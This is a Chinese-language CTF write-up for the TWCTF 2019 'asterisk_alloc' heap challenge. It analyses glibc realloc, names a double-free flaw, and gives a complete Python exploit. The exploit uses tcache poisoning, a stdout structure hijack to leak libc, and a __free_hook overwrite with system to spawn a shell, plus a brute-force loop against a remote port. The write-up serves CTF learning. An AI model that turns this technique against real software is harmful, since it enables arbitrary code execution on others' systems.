总结
主要是针对realloc
的利用,分析了一波源码,当调用realloc(ptr, new_size)
时,利用点如下:
- 若
ptr
为NULL
,则return malloc(new_size)
- 若
ptr != NULL && new_size == 0
,则调用free(ptr);return NULL
- 若
new_size
非法时,则return NULL
- 若
new_size < old_size - 0x20
,则会chunk shrink
- 若
new_size > old_size
,高地址处的chunk
为top
则直接扩展;为可free
状态的chunk
,则先unlink
,再判断要不要切割;否则直接申请新的内存,拷贝后释放老的
漏洞点
-
call_free
函数可以double free
:
-
call_realloc
可以利用realloc
函数的缺陷进行利用:
利用思路
由于题目是libc-2.27.so
,那么可以利用tcache poisoning
,修改next
指针,进行任意地址分配内存。题目中没有泄露内容的分支,因此需要劫持IO_2_1_stdout_
先泄露地址,再劫持hook
即可完成利用。
思路如下:
- 利用
realloc
分配0xc0
的chunk A
,而后shrink
到0x90
- 利用
double free
释放8
次chunk A
,这个时候在chunk A
的fd
留下了libc
地址
- 利用
realloc
分配小chunk
切割unsorted bin chunk
,并且低2
字节修改fd
,使其指向stdout
- 利用
realloc(-1)
将ptr_r
置为0
- 利用
tcache poisoning
分配到stdout
结构体泄露地址;用同样的方法修改__free_hook
为system
函数地址
Exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: lynne
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
def ma(size, data="d"):
io.sendlineafter("Your choice: ", "1")
io.sendlineafter("Size: ", str(size))
if size > 0:
io.sendafter("Data: ", data)
def ca(size, data="d"):
io.sendlineafter("Your choice: ", "2")
io.sendlineafter("Size: ", str(size))
if size > 0:
io.sendafter("Data: ", data)
def rea(size, data="d"):
io.sendlineafter("Your choice: ", "3")
io.sendlineafter("Size: ", str(size))
if size > 0:
io.sendafter("Data: ", data)
def __dele(c):
io.sendlineafter("Your choice: ", "4")
io.sendlineafter("Which: ", c)
def dele_m():
__dele('m')
def dele_c():
__dele('c')
def dele_r():
__dele('r')
"""
1. attack stdout to leak addr
2. attack hook
"""
rea(0xb0)
rea(0x80)
for i in range(0x7):
dele_r()
rea(0) # clear
if gift.debug:
libc_base = get_current_libcbase_addr()
pl = p16_ex(libc_base + libc.sym['_IO_2_1_stdout_'])
else:
pl = p16_ex(0xc760)
rea(0x10, pl)
rea(-1)
rea(0x80)
ma(0x80, flat(0xfbad1887, 0, 0, 0, "\x00"))
libc_base = recv_libc_addr(io) - 0x3ed8b0
log_libc_base_addr(libc_base)
libc.address = libc_base
dele_r()
rea(0)
rea(0x10, flat(libc.sym['__free_hook'] - 8))
rea(-1)
rea(0x10)
rea(-1)
rea(0x10, flat("/bin/sh\x00", libc.sym.system))
dele_r()
get_flag_when_get_shell(io)
io.interactive()
|
最后加个爆破脚本:
1
2
3
4
5
|
#!/bin/sh
for i in $(seq 1 10)
do
./exp.py re ./TWCTF_online_2019_asterisk_alloc -p 28619 --no-log
done
|
1/16
的概率,远程打:
引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli